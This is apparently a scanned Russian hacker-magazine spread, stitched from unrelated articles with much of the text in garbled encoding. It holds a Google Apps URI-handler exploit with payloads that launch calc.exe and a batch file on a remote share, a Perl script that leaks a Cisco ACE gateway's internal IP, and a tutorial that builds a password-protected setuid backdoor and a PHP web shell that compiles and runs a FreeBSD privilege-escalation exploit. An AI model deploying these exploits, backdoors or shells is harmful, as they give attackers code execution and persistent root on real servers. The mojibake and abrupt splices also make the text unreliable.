Windows 7 — мгновенном 
поиске. Найти любую програм-
му или файл на компьютере 
теперь можно за пару секунд. 
Можно не задумываться, куда 
ты сохраняешь файлы, а прос-
то находить их по ключевым 
словам. С тем количеством 
программ, которые я устанав-
ливаю на компьютер, просто 
найти нужную программу 
в меню «Пуск» нереально. 
Вместо этого можно написать 
часть ее названия, и поиск 
сам найдет ее. Причем рабо-
тает это просто — я нажимаю 
кнопку <Win> и тут же начи-

наю ввод ключевых слов, 
без лишних телодвижений.  
Получается своеобразная кон-
соль для запуска приложений 
и инструмент для поиска чего 
угодно: документов, программ, 
контактов, писем электронной 
почты и т.д. Раньше для такой 
штуки пришлось бы уста-
навливать дополнительную 
утилиту, вроде Launchy (www.
launchy.net). Молниеносность 
поиска реализуется за счет 
предварительного индекси-
рования, которое очень недо-
любливают некоторые пользо-
ватели, ссылаясь на тормоза 
во время индексирования. Я 
же лично деятельность индек-

сирующего робота не заметил. 
Тут есть хинт. Если пользо-
ватель активно использует 
компьютер, индексатор сводит 
свою деятельность практи-
чески до нуля. Более того, 
процесс всегда можно остано-
вить или сузить круг элемен-
тов для индексации, открыв 
«Параметры индексирова-
ния». Стоп! Ты полез искать 
такой пункт в панели управле-
ния? А как же поиск? :)
Система поиска отлично 
дополняется другим новов-
ведением — библиотеками. 
Библиотека раскладывает все 
файлы по типам — больше не 
нужно искать разбросанные по 

компьютеру видео. Впрочем, 
ограничиваться одним лишь 
стандартными Libraries глупо. 
Фишка как раз в том, что можно 
создать свои собственные биб-
лиотеки и наладить с их помо-
щью слежения за нужными 
тебе папками. Т.е. если хочешь 
собрать воедино все свои про-
граммерские проекты, доста-
точно визуально сложить папки 
с сорцами в новую библиотку 
и дальше быстро обращаться  
к ним через нее. В результате 
получается доступ к данным из 
самых разных уголков жесткого 
диска в одном месте, при этом 
физически все файлы остаются 
на своих местах. 
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вторую — «мандатная». Если честно, я не очень люблю этих выражений, 
но для разговора — возьми на вооружение. Все эти буковки описывают 
конкретное правило доступа. Более подробно с ними можно ознакомить-
ся в описании языка Security Descriptor Definition Language. Специаль-
ной «строкой» представлено описание основных значений owner (O:), 
primary group (G:), DACL (D:) и SACL (S:):

O:owner_sid

G:group_sid

D:dacl_flags(string_ace1)(string_ace2)... (string_

acen)

S:sacl_flags(string_ace1)(string_ace2)... (string_

acen)

Owner_sid — SID, èäåíòèôèöèðóþùèé âëàäåëüöà

Group_sid — SID, èäåíòèôèöèðóþùèé îñíîâíóþ ãðóïïó îáúåê-

òà (Primary)

Dacl_flags — ôëàãè, íàêëàäûâàþùèå îãðàíè÷åíèÿ íà DACL

Sacl_flags — ôëàãè, íàêëàäûâàþùèå îãðàíè÷åíèÿ íà SACL

string_ace — èäåíòèôèêàòîðû ôëàãîâ

Ознакомиться с идентификаторами флагами, можно здесь (msdn.
microsoft.com/ru-ru/library/aa374928%28en-us,VS.85%29.aspx):

Ðîäîâûå ïðàâà äîñòóïà:

GA  — GENERIC_ALL 

GR  — GENERIC_READ 

GW — GENERIC_WRITE 

GX — GENERIC_EXECUTE 

Ñòàíäàðòíûå ïðàâà äîñòóïà:

RC — READ_CONTROL 

SD — DELETE 

WD  —  WRITE_DAC 

WO — WRITE_OWNER 

Ïðàâà äîñòóïà ê äèðåêòîðèÿì:

RP  — READ_PROPERTY

WP — WRITE_PROPERTY 

CC — CREATE_CHILD

DC — DELETE_CHILD

Ïðàâà äîñòóïà ê ôàéëàì:

FA — FILE_ALL_ACCESS 

FR — FILE_GENERIC_READ

FW — FILE_GENERIC_WRITE 

FX — FILE_GENERIC_EXECUTE 

Ïðàâà äîñòóïà íà êëþ÷è ðååñòðà

KA — KEY_ALL_ACCESS 

KR — KEY_READ 

KW — KEY_WRITE 

KX — KEY_EXECUTE 

Именно эти идентификаторы — в комплексе с идентификаторами SID, 
наиболее важные из которых перечислены ниже:

WD — «Everyone» (íåî÷åâèäíî, ðàñøèôðîâûâàåòñÿ êàê 

SECURITY_WORLD_RID)

AN — Anonymous 

BA — Built-In Administrators

SA  — System Administrators

Исходя из этих соображений, основная суть уязвимости в том, что практичес-
ки максимальные привилегии выданы WD, а не BA или SY. Следи за этим, так 
как подобная мелочь может породить огромную брешь в безопасности.

НЕАВТОРИЗИРОВАННОЕ ВЫПОЛНЕ-
НИЕ КОДА ПУТЕМ ЭКСПЛУАТАЦИИ 
ФУНКЦИЙ GOOGLE APS 

  BRIEF:   Зачем нужны GoogleApps? Во-первых, это крутые примочки, 
которые облегчают твою жизнь, равно как и половина замечательных 
сервисов от Google. Некоторые используют GoogleApps в качестве 
заменителя Microsoft Outlook. Устанавливать это дело крайне просто. 
Для начала опцию надо активировать в GMAIL, причем подразуме-
вается, что слинковали ее с каким-либо доменом. Действительно, 
изменив записи DNS, существует возможность использовать GMAIL 
в качестве почтовика на своем ресурсе. Если все сделано правильно, 
то там появятся Mail/Calendar/Docs/Talk/Contacs, по сути, полный 
набор. Кто не готов поднимать приложения на своем домене, пункт 
может смело пропустить и настроить все для стандартных сервисов 
Google. Далее ставим из Google Pack: Google Chrome исключительно 
для сервисов Google Apps и, собственно, сами Google Apps, которые 
на рабочем столе создадут полезные иконки и заменят mail-клиент 
по умолчанию на GMail. Третьим пунктом включаем из Chrome Offline 
для GMail, Calendar и, если надо, Docs. Плюс, исследуем возможность 
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включения Offline в Google Reader перед отключением связи. Он ска-
чивает все сообщения, и можно RSS читать offline. Безусловно, есть 
некоторое неудобство в том, что надо руками каждый раз включать 
режим stanalone. Можно в настройках Offline каждого сервиса создать 
на рабочем столе ярлыки на них, но это тоже не очень удобно — обилие 
одинаковых ярлыков не может не огорчать. Можно поковырять реестр 
и настроить клиент по умолчанию на использование offline-версии. 
Прикинув все возможные варианты, я решил, что клиент по умолча-
нию будет открывать offline-версию почты в Google Chrome, а ссылки 
«mailto:» — его зависимую версию через Google Apps. Поскольку 
второе уже было настроено самими Google Apps, надо было поменять 
только первое.
Компонент googleapps.url.mailto, отвечающий за почтовый обмен, заре-
гистрирован в системе по следующим ключам реестра:

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto]

@="Google Apps URL"

"EditFlags"=hex:02,00,00,00

"FriendlyTypeName"="Google Apps URL"

"URL Protocol"=""

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\DefaultIcon]

@="C:\\Programmi\\Google\\Google Apps\\googleapps.

exe,0"

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open\

command]

@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe 

--mailto.google.com=\"%1\""

С помощью использования -domain и -renderer-path флагов существует 
возможность обхода безопасности современных браузеров, включая IE 
(всех версий) и Google Chrome.

  EXPLOIT    Выполнение calc.exe на локальной машине:

googleapps.url.mailto://"%20--domain="--what%20

--renderer-path=calc%20--no-sandbox%20--x"/

Выполнение удаленного сценария, размещенного в «шаре»:

googleapps.url.mailto://"%20--domain="--x%20

--renderer-path=\\192.168.0.1\uncshare\sh.bat%20--no-

sandbox%20--x"/

Таким образом можно выполнять вредоносные и деструктирующие 
действия, например, произвольно удалить файл, организовать скрытый 
поток или добавить пользователя. 

 TARGETS   Internet Explorer 8, windows xp sp3.
Internet Explorer 7, windows xp sp3.
Google Chrome 2.0.172.43.

 SOLUTION   Удалить вышеупомянутый URI-handler из реестра.

CISCO ACE XML GATEWAY <= 6.0 РАС-
КРЫТИЕ СЕТЕВОЙ АДРЕСАЦИИ

 BRIEF:  Известнейший продукт, входящий в состав Cisco Application 
Control Engine (ACE), потерпел неудачу и засветился на практически 
каждом багтраке. 

EXPLOIT   При отправке метода OPTIONS HTTP-протокола существует 
возможность раскрыть внутренний IP. Для чего? Может найтись множес-
тво ситуаций. Например, подобный принцип обнаружения заключается 
в отлове «проксифицированных» пакетов на шлюзе провайдера. Это 
могут быть запросы вида «HTTP 1.1 CONNECT», либо «GET/POST» с пол-
ным адресом URL (RFC требует полный путь к запрашиваемому ресурсу, 
а не относительный). Тем самым, можно обнаружить прокси, ведущие в 
локальную сеть (со стороны провайдера):

#!/usr/bin/perl -w

use strict;

use Socket qw/ :DEFAULT :crlf /; # $CRLF

use IO::Socket;

sub header

{

print " .+==================================+.\n";

print " / Cisco ACE XML Gateway <= 6.0 \\\n";

print "| Internal IP Address Disclosure |\n";

}

sub usage

{

header;

print "Usage: $0 <host> [port(default 80)]\n";

exit 0xdead;

}

my $host = shift || usage;

my $port = shift || 80;

my $axg;

my $axg_response;

my @payloads = ("OPTIONS / HTTP/1.0" . $CRLF . $CRLF,

"OPTIONS / HTTP/1.1" . $CRLF . "Host: " . $host . $CRLF . 

$CRLF);

header;

print "[+] Connecting to $host on port $port ...\n";

for(@payloads){

$axg = IO::Socket::INET->new( PeerAddr => $host,

PeerPort => $port,

Proto => 'tcp')

or die "[-] Could not create socket: $!\n";

print "[+] Sending payload ...\n";

print $axg $_;

$axg->read($axg_response, 1024);

print "[+] Parsing response ...\n";

if($axg_response =~ /Client IP: (.*)/){

print "[+] Internal IP disclosure: $1\n";

$axg->close();

exit 0xbabe;

}

$axg->close();

}

print "[-] Not vulnerable !\n";

 TARGETS   ACE XML Gateway release (6).

 SOLUTION  Установить обновление ACE XML Gateway release (6.1). z
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ÐÅÂÎËÞÖÈß 
Â *Nix-ÑÈÑÒÅÌÀÕ ÍÎÂÛÉ 
ÂÇÃËßÄ  ÍÀ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

ÍÅÌÍÎÃÎ ÒÅÎÐÈÈ SUID — расшифро-
вывается как Set user ID, переводится 
с забугорного — «установить идентифи-
катор пользователя». Если установлены 
права доступа SUID и файл исполняемый 
(то есть наш будущий бинарник), то при 
выполнении этот файл получает не права 
запустившего его (www), а права владель-
ца файла.
Эксплойт — в нашем случае это компьютер-
ная программа, использующая уязвимости в 
программном обеспечении и применяемая 
для повышения привилегий (получения 
рута). Это был вольный пересказ Википедии.
Root, суперпользователь — специаль-
ный аккаунт в UNIX-подобных системах с 
идентификатором (UID) 0, владелец кото-
рого имеет право на выполнение всех без 
исключения операций (грубо говоря, да 
простят меня линуксоиды, это аналог учетки 
Администратора в Windows). Тоже вольный 
пересказ Википедии.
Итак, с теорией покончили (надеюсь, было 
нескучно). Движемся далее...

ÍÀÏÎËÅÎÍÎÂÑÊÈÅ ÏËÀÍÛ Затея у нас 
круче, чем у Наполеона, мы собираемся 
сделать мировую революцию. Нам предстоит 
удивить всех рутовым web-шеллом, которого 
нет ни у кого! А именно, предстоит:

1. Ñîñòàâèòü çàäà÷ó è ïðîäóìàòü 

àëãîðèòì ðàáîòû íàøåãî ÷óäî-øåëëà

2. Íàêîäèòü SUIDíèê

3. Íàêîäèòü íåïîñðåäñòâåííî ñàì 

web-shell

4. Ñâÿçàòü âñå ýòè ïðåëåñòè 

÷óäåñíûõ ÿçûêîâ ïðîãðàììèðîâàíèÿ

5. Òàêè ïîëó÷èòü è ñîõðàíèòü 

r00t'a íà âðàæåñêîì ñåðâåðå

ÏÅÐÂÛÌ ÄÅËÎÌ, ÏÅÐÂÛÌ 
ÄÅËÎÌ... ÀËÃÎÐÈÒÌÛ Сначала приду-
маем алгоритм работы и вообще всю схему 
получения и сохранения рута. Сразу пред-
упрежу, что тестировать наше детище мы 
будем на сервере с установленной FreeBSD 
7.1 (причины сего деяния оглашу позже).
Смысл всей затеи состоит в следующем — 

мы запустим эксплоит из Web'а, то есть непо-
средственно из нашего любимого браузера, 
установим суидные права и сменим хозяина 
(owner'a) нашему суиднику и наконец-таки 
будем выполнять команды под рутом.
Почему же мы выбрали для теста имен-
но FreeBSD 7.1? Все гениальное просто. 
Мы ведь будем юзать эксплойт из веба, 
а под данную ОСь как раз есть подходя-
щий эксплойт ktimer (http://milw0rm.com/
exploits/8261). Прелесть в том, что результат 
его работы — не получение /bin/sh, а уста-
новка uid=0, gid=0 вызывающему процессу. 
Это-то нам и нужно.

ÏÈØÅÌ SUIDÍÈÊ От слов к делу, — я сразу 
приведу листинг кода, а уж после будем с 
тобой его разбирать.

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[]) {

  // ïðîâåðÿåì êîëè÷åñòâî àðãó-

ìåíòîâ
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На диске ты найдешь:
1. Исходный код web-
shell'a.
2. Исходные коды 
SUIDника.
3. Скомпилирован-
ный SUIDник (компи-
ляция происходила 
в FreeBSD 7.1 2009 
года).
4. Исходный код экс-
плоита bsd-ktimer.c.
5. Скомпилиро-
ванный эксплоит 
bsd-ktimer.c (компи-
ляция происходила 
в FreeBSD 7.1 2009 
года).
6. r57shell со скомпи-
лированными суид-
ником и эксплойтом, 
для более удобной 
заливки.

dvd

DVD

• http://milw0rm.
com/exploits/8261 
— эксплоит bsd-
ktimer.c.

• http://wiki.kryukov.
biz/wiki/Специаль-
ные_права — описа-
ние SUID, SGID и Stiky 
битов.

links

HTTP://WWW

  if(argc == 3){ 

  //ïðîâåðÿåì íàø ïàðîëü cool_hack

    if(strcmp(argv[1], "cool_hack") == 0){

      // Óñòàíàâëèâàåì gid(0) r00t

      setgid(0);

      // Óñòàíàâëèâàåì uid(0) r00t

      setuid(0);

      // Âûïîëíÿåì êîìàíäû ñ óñòàíîâëåí-

íûìè ðàíåå ïðàâàìè

      system(argv[2]);

    }

  }

  return 0;

}

Думаю, глядя на комментарии, уже становится ясен 
смысл нашей программы. Сначала мы проверяем коли-
чество аргументов — их должно быть три: argv[0] — имя 
самого скомпилированного SUIDника, argv[1] — наш 
пароль и argv[2] — непосредственно сама команда.
Разберемся с некоторыми моментами работы с бинарны-
ми файлами при установленном SUID-бите, дабы не воз-
вращаться к этому позднее.

1. -rwxr-x--x  1 www apache 5043 2009-09-09 

13:51 suid

Ôàéë suid ñ ïðàâàìè äîñòóïà -rwxr-x--x, òî 

åñòü õîçÿèí ôàéëà (www) ìîæåò ÷èòàòü, èçìå-

íÿòü è çàïóñêàòü íà èñïîëíåíèå; ÷ëåíû ãðóï-

ïû (apache) ìîãóò ÷èòàòü è çàïóñêàòü ôàéë 

íà èñïîëíåíèå, à âñå îñòàëüíûå ïîëüçîâàòåëè 

ìîãóò ëèøü çàïóñêàòü íà èñïîëíåíèå.

Ê ïðèìåðó, ðåçóëüòàò êîìàíäû id ÷åðåç 

íàø ôàéë äëÿ ÷ëåíîâ ãðóïïû site áóäåò 

ïîäîáíûì uid=80(site), gid=80(site), 

groups=80(apache)

2. Óñòàíàâëèâàåì áèò SUID íà ôàéë êîìàíäîé 

chmod 4751 suid

 -rwsr-x--x  1 www apache 5043 2009-09-09 

13:51 suid

Íàâåðíÿêà, òû çàìåòèë, ÷òî ñèìâîë x (çàïóñê 

íà èñïîëíåíèå) ñìåíèëñÿ íà s (SUID áèò). 

Êàê ìû óæå çíàåì, áèíàðíèê ñ ñóèä áèòîì 

áóäåò âûïîëíÿòüñÿ íå îò èìåíè âûçûâàþùå-

ãî, à îò èìåíè õîçÿèíà (owner'a). Îïÿòü 

æå, ðåçóëüòàò êîìàíäû id ÷åðåç íàø ôàéë 

äëÿ ÷ëåíîâ ãðóïïû site áóäåò ïîäîáíûì 

uid=80(www), gid=80(www), groups=80(apache).

3. Çàáåãàÿ âïåðåä, îáîçíà÷èì, ÷òî íàì ïðè-

äåòñÿ ñìåíèòü âëàäåëüöà ôàéëà. Ìû ýòî ñäå-

ëàåì ïîä ðóòîì êîìàíäîé chown root suid.

 -rwsr-x--x  1 root apache 5043 2009-09-09 

13:51 suid

È ñíîâà ðåçóëüòàò êîìàíäû id ÷åðåç íàø ôàéë 

áóäåò ïîäîáíûì uid=0(root), gid=0(root), 

groups=80(apache). Èñõîäÿ èç ýòîãî, óæå 

âèäíî, ÷òî ëþáîé ïîëüçîâàòåëü ñèñòåìû, äàæå 

íå âõîäÿ â ñîñòàâ ãðóïïû õîçÿèíà, èìååò 

ïðàâî íà çàïóñê áèíàðíèêà, äà ìàëî òîãî, 

åùå è ñ ïðàâàìè õîçÿèíà, òî áèøü ðóòà, òàê 

êàê óñòàíîâëåí SUID-áèò.

Так-с, с этим разобрались. Осталась самая малость, — 
скомпилировать файл. Делаем это командой gcc suid.c 
-o suid. В итоге получаем бинарный файл suid. Пример 

использования будет таков — «./suid cool_hack id» (имя 
файла, пароль, команда)

ÍÀ×ÈÍÀÅÌ z-ÊÎÄÈÍÃ

<?php

/*********** CONFIGURATION **************/

$pass_suid = 'cool_hack'; // ïàðîëü, êîòî-

ðûé ìû óñòàíîâèëè â ñîðöàõ ñóèäíèêà

/*********** END CONFIGURATION **********/

/*********** FUNCTIONS ***************/

/*

Íàøà ôóíêöèÿ ïî âûïîëíåíèþ êîìàíä

Åñëè ñóùåñòâóåò ôàéë /tmp/conf (òàê ìû 

çàìàñêèðîâàëè íàø ñóèäíèê),

òî âûïîëíåíèå êîìàíä èäåò ÷åðåç íåãî, èíà÷å 

ïðîñòî ôóíêöèåé system.

*/

function hack_system($cmd,$pass_suid)

{

   if(file_exists('/tmp/conf'))

   {

      system('/tmp/conf '.$pass_suid.' 

"'.$cmd.'"'));

   }

   else{

      system($cmd);

   }         

}

/*

Âîò è ãëàâíàÿ ôóíêöèÿ, êîòîðàÿ ñêîïèðóåò 

íàø ýêñïëîéò è ñóèäíèê,

ñêîìïèëèðóåò èõ è çàïóñòèò

*/

function give_me_root()

{

   // êîìïèëèðóåì ýêñïëîéò

   system('gcc bsd-ktimer.c -o /tmp/

configure');

   // êîìïèëèðóåì ñóèäíèê

   system('gcc suid.c -o /tmp/conf');

   // çàïóñêàåì ñïëîéò, ìåíÿåì «îâíåðà» 

ñóèäíèêó è óñòàíàâëèâàåì ïðàâà

   system('/tmp/configure; chown root /tmp/

conf; chmod 4777 /tmp/conf');

   return print 'OK!';

}

/********* END FUNCTIONS ***************/

print

'<html>'.
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'<head>'.

'<title>r00t web-shell</title>'.

'</head>'.

'<body>';

/*********** MAIN CODE ***************/

/*

Âûâîäèì ôîðìó äëÿ âûïîëíåíèÿ êîìàíä

*/

if(!isset($_POST['cmd']))

{

print '<form method="post">'.

'<input name="cmd" type="text" value="ls 

-lia">'.

'<input type="submit" value="Go">'.

'</form><br><br>';

}

else

{

 hack_system($_POST['cmd'],$pass_suid);

}

/*

Âûâîäèì çàâåòíóþ êíîïî÷êó äëÿ ïîëó÷åíèÿ 

ðóòà

*/

if(!isset($_POST['give_me_root']))

{

print '<form method="post">

<input type="submit" name="give_me_root" 

value="Give me r00t">

</form>';

}

else

{

   give_me_root();

}

/********** END CODE *************/

print

'</body>'.

'</html>';

?>

ÈÍÒÅÃÐÀÖÈß, ÀÄÀÏÒÀÖÈß 
È ÏÐÎ×ÈÅ ÍÅÏÎÍßÒÍÛÅ ÑËÎÂÀ В итоге мы таки 
получили рута! При последующем посещении web-шелла 
мы уже будем рутом (при условии, что наш суид-шелл не 
увидит рут, и не удалит его).

Однако шелл у нас получился довольно примитив-
ный; чтобы интегрировать наши прелести в при-
вычные шелла типа r57, c99, WSO2 и т.д., принцип 
работы тот же.
На диске ты найдешь подправленный мной код шелла 
r57. Единственное, что отличает подправленный 
r57 от того, который мы сегодня написали, — в r57 
эксплойт и суид-шелл я скомпилировал, перевел 
полученные бинарники в base64 и вставил получен-
ный код в сам шелл. Далее мы расшифровываем 
base64-код и сохраняем в файл. Таким образом, у нас 
получается один файл, — это удобнее в плане транс-
портировки и заливки.
С интеграцией в другие шеллы разобрались, осталось 
разобрать ситуацию с применением эксплойтов для 
других операционных систем и других версий. Причина, 
по которой я выбрал для теста FreeBSD — этот эксплойт 
под версию 7.1 и 7.2 результатом своей работы возвра-
щает не /bin/sh, которой мы бы пользовались при про-
стом бекконекте, а возвращает uid и gid 0 для текущего 
процесса. То есть является универсальным. Последний 
способ для нас удачен, ведь мы можем использовать его 
непосредственно из web'a. Так мы пришли к выводу, что 
для использования эксплойта с нашими условиями необ-
ходимо переписать эксплойты, чтобы они устанавливали 
uid, gid. Как это организовать — история уже для другой 
статьи. 

ÈÒÎÃÈ ÍÀØÈÕ ÏÐÈÊËÞ×ÅÍÈÉ
Сразу хочется отметить плюсы и минусы этого подхода к 
получению рута.

ÏËÞÑÛ
ПОЛУЧАЕМ ПРАВА ROOT НА ВЕБ-ШЕЛЛЕ

НЕ НУЖЕН СЕРВЕР ДЛЯ БЕККОНЕКТА

ОБХОД ФАЙРВОЛА, ТАК КАК НЕТ ИСХОДЯЩИХ СОЕ-

ДИНЕНИЙ, БИНДА ПОРТА И Т.Д. (А ЗАЧАСТУЮ ЭТО 

БОЛЬШАЯ ПРОБЛЕМА ДЛЯ СОЗДАНИЯ БЕККОНЕКТА)

ÌÈÍÓÑÛ
ПОКА ЕСТЬ МАЛОЕ КОЛИЧЕСТВО ЭКСПЛОЙТОВ, 

КОТОРЫЕ МЫ МОЖЕМ ИСПОЛЬЗОВАТЬ; ОСТАЛЬНЫЕ 

НУЖНО РЕДАКТИРОВАТЬ

ЕСЛИ НАШ ШЕЛЛ ПОПАДЕТ К НЕДРУГАМ, ЛИБО ПРО-

СТО К НЕЧИСТЫМ НА РУКУ, ТО ЗЛОДЕИ ПОЛУЧАТ 

УЖЕ ГОТОВЕНЬКИЙ ROOT-ШЕЛЛ БЕЗ ОСОБЫХ УСИ-

ЛИЙ. ТАК ЧТО — ЗАЩИЩАЙТЕ СВОЙ ШЕЛЛ! z

ГЛАВНАЯ СТРАНИЦА НАШЕГО 
ШЕЛЛА

Выражаю благо-
дарность за советы, 
тестирование 
и помощь следующим 
подозрительным лич-
ностям — IceAngel_, 
oRb, jokester.

info

INFO

warning
Внимание! Редакция 
журнала и автор не 
несут ответственно-
сти за вред, воз-
можно, причиненный 
при использовании 
методов и файлов 
данной статьи. Статья 
представлена только 
для ознакомления 
в образовательных 
целях.

WARNING

ЗАВЕТНАЯ НАДПИСЬ ROOT. ЧТО ЕЩЕ НУЖНО ДЛЯ ПОЛНОГО СЧА-
СТЬЯ... 

ДЕФОЛТНЫЕ ПРАВА СОВЕРШЕННО НЕ РАДУЮТ ГЛАЗ

РЕЗУЛЬТАТ РАБОТЫ ЭКСПЛОЙТА 
ПОСЛЕ НАЖАТИЯ КНОПКИ «GIVE 
ME R00T»
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ÏÐÈÂÅÒ, ÊÎËËÅÃÀ! ÑÅÃÎÄÍß ÌÛ ÏÎÃÎÂÎÐÈÌ Î ÒÀÊÎÌ ÂÀÆÍÎÌ 
ÊÎÌÏÎÍÅÍÒÅ WINDOWS ÊÀÊ ÄÈÑÏÅÒ×ÅÐ ÊÝØÀ. ÓÇÍÀÂ ÒÅÎÐÈÞ È 
ÏÎÏÐÎÁÎÂÀÂ ÏÐÀÊÒÈÊÓ, ÒÛ ÌÎÆÅØÜ ÑÂÅÐÍÓÒÜ ÃÎÐÛ, ÏÎÂÅÐÜ ÌÍÅ. 
ÍÓÆÍÎ ËÈØÜ ÇÍÀÒÜ ÀÇÛ ÎÒËÀÄÊÈ, À ÎÑÒÀËÜÍÎÅ ÎÑÂÎÈÌ ÂÌÅÑÒÅ.
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ÊÝØ ÄËß ÕÀÊÅÐÀ ÀÒÀÊÀ 
ÍÀ ÊÝØ WINDOWS

×ÒÎ ÒÀÊÎÅ ÊÝØ È Ñ ×ÅÌ ÅÃÎ ÅÄßÒ? 
Кэш служит хранилищем данных для драй-
веров файловых систем, которые работают 
в ОСи. Когда FS что-то пишет на диск или 
читает с него, данные вначале попадают в 
кэш, а потом уже реально записываются на 
диск. Кроме того, замечено, что драйвер ntfs 
удерживает в кэше MFT, и результаты ее 
модификации на диске будут видны только 
после перезагрузки. Это не совсем удобно, 
если ты хочешь модифицировать данные FS 
прямо сразу. Короче, будем с головой погру-
жаться во внутренности оси и самого кэша, 
попутно я буду растолковывать кое-какие 
понятия, которые хакер в области ядра дол-
жен знать, как таблицу умножения. А для 
тех, кто совсем не в теме, скажу, что доступ 
к кэшу возможен только из режима ядра, 
поэтому, если ты незнаком с «ядреной» 
отладкой, windbg и kernel мод, нужно непре-
менно запастись этими знаниями.

Итак, кэш — это регион в системном адрес-
ном пространстве, на который диспетчер 
кэша проецирует данные файлов, для после-
дующего быстрого доступа к ним. Если X 
— указатель в кэш, то «MmSystemCacheStar
t<=X<=MmSystemCacheEnd». Данные в этом 
регионе разбиты на слоты (кэша) — блоки 
по 256 Kb. Все весьма подробно расписано 
у Руссиновича, поэтому остановимся на этом 
лишь вкратце и уделим больше внимания 
практической стороне вопроса, — ручному 
исследованию кэша. 
Кэш имеет две важные особенности, которые, 
суть, следствие того, что внутренняя реализа-
ция кэша принадлежит VMM (Virtual Memory 
Manager). Для проецирования данных фай-
лов на слоты используются разделы, то есть 
сервисы VMM. Так что, целиком и полностью 
за подкачку данных отвечает VMM, а кэш вхо-
дит в системный рабочий набор. Значит, его 
страницы также могут выгружаться. Эти осо-

бенности подчеркивают, что диспетчер кэша 
точно не знает, какие данные файлов реаль-
но находятся в физической памяти (поэтому 
нужно быть особенно аккуратным при чтении 
памяти кэша в своем драйвере).
Слоты кэша описываются блоками управ-
ления (VACB, Virtual Address Control Block), 
которые выделяются из резидентного пула. 
Блоки управления адресуются от CcVacbs. 
Каждый блок управляет определенным сло-
том и определяет его состояние. Число бло-
ков указывается в CcNumberVacbs.

ÇÓÁÐÈÌ ÑÒÐÓÊÒÓÐÛ 
È ÃÎÒÎÂÈÌÑß Ê ÎÒËÀÄÊÅ
VACB описывается структурой:

typedef struct _VACB {

   PVOID BaseAddress; //ptr íà ñëîò

   PSHARED_CACHE_MAP SharedCacheMap; 

      //ptr íà îáùóþ êàðòó, ñì. 

ÑÈÑÒÅÌÍÛÉ ÌÀÑÑÈÂ YACB-CeVacbs ÑÈÑÒÅÌÍÛÉ ÊÝØ MmSystemCacheStart

VACB O ÏÐÅÄÑÒÀÂËÅÍÈÅ 0

VACB 1 ÏÐÅÄÑÒÀÂËÅÍÈÅ 1

VACB 2 ÏÐÅÄÑÒÀÂËÅÍÈÅ 2

VACB 3 ÏÐÅÄÑÒÀÂËÅÍÈÅ 3

VACB n ÏÐÅÄÑÒÀÂËÅÍÈÅ 5

... ...

VACB, КОТОРЫЕ УПРАВЛЯЮТ СЛОТАМИ КЭША (СООТВЕТСТВИЯ МОГУТ БЫТЬ ПРОИЗВОЛЬНЫМИ, ТО ЕСТЬ 
НЕОБЯЗАТЕЛЬНО, ЧТО VACBN -> СЛОТ N)
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äàëåå

   union {

      LARGE_INTEGER FileOffset; //ñìåùåíèå â ôàéëå

      USHORT ActiveCount; 

         //ñ÷åò÷èê ññûëîê íà ïðåäñòàâëåíèå

   } Overlay;

   LIST_ENTRY LruList; 

      //VACB îáúåäèíÿþòñÿ â ñïèñîê ÷åðåç ýòî ïîëå

} VACB;

Существует два списка VACB:
CcVacbFreeList. Список свободных VACB, то есть готовых к 
использованию. Их BaseAddress обнулен, и они не нуждаются в 
де-проецировании.
CcVacbLru. Список всех остальных VACB. VACB считается свободным, 
если его ActiveCount равен 0. При повторном использовании выпол-
няется де-проецирование адреса слота.
Следующая команда windbg подтверждает названные факты. 
Незнакомым с синтаксисом команд windbg не нужно падать в обмо-
рок, — достаточно вбить команду в windbg. Перед этим неплохо под-
грузить символы (с помощью команды .reload /s).
Вывод всех элементов VACB в списке CcVacbLru:

r eax=0; !list "-t ntdll!_LIST_ENTRY.Flink -x \"r eax=@

eax+1;? @eax;? @$extret-10; dt nt!_VACB @$extret-10\" 

nt!CcVacbLru"

Evaluate expression: 330 = 0000014a -> ïîðÿäêîâûé íîìåð

Evaluate expression: -2120961816 = 8194b0e8 -> àäðåñ 

ýòîãî VACB

   +0x000 BaseAddress : 0xc6000000 -> àäðåñ ñëîòà â êýøå

   +0x004 SharedCacheMap : 0x817f61a0 _SHARED_CACHE_MAP 

-> ptr íà îòêðûòóþ êàðòó

   +0x008 Overlay : __unnamed

   +0x010 LruList : _LIST_ENTRY [0x819491d8-0x81949178]

Evaluate expression: 331 = 0000014b

Evaluate expression: -2120969784 = 819491c8

   +0x000 BaseAddress : 0xc2040000 

   +0x004 SharedCacheMap : 0x818c7b08 _SHARED_CACHE_MAP

   +0x008 Overlay : __unnamed

   +0x010 LruList : _LIST_ENTRY [0x8194ad38-0x8194b0f8]

У большинства таких VACB инициализированы открытые карты, 
и они спроецированы на кэш. То же самое можно проделать для 
CcVacbFreeList. Если сложить последние номера VACB эти двух спи-
сков (то есть, получить количество элементов в обоих списках), то 
будет в моем примере:

14b+6b3 = 7fe

dd CcNumberVacbs l1

8055f670  000007fe

Виртуальный адрес соответствующего слота ссылается на PTE, ука-
зывающий на proto-PTE. Он, в свою очередь, связан с подразделом, 
описывающим файл (обычно он является одним разделом, связан-
ным с открытой картой, и проецирует файл как бинарный — смотри 
MmMapViewInSystemCache).

Кэшируемый файл описывается двумя структурами — открытой 
и закрытой картой кэша (shared cache map, private cache map). 
Закрытая карта не так интересна, она применяется для опережаю-
щего чтения (intelligent ahead-read). А вот открытая очень важна! 
Открытая карта кэша — структура, которую диспетчер кэша под-
держивает для кэширования этого дискового файла. Как и в случае 
с управляющими областями (control area, структура, используемая 
VMM для совершения операций I/O для раздела), которые уникальны 
для дискового файла (одна на проецирование файла как бинарного, 
вторая как исполняемого образа), открытая карта тоже уникальна и 
адресуется через SECTION_OBJECT_POINTERS, которую удерживает 
FSD в FCB соответствующего файла. То есть, диспетчер кэша знает, 
какой слот какому файлу принадлежит, через VACB, который содержит 
указатель на открытую карту.

typedef struct _SECTION_OBJECT_POINTERS {                                                                         

   VOID* DataSectionObject;                                       

   VOID* SharedCacheMap; //óêàçàòåëü â îòêðûòóþ êàðòó                                          

   VOID* ImageSectionObject;                                      

} SECTION_OBJECT_POINTERS, *PSECTION_OBJECT_POINTERS;

 
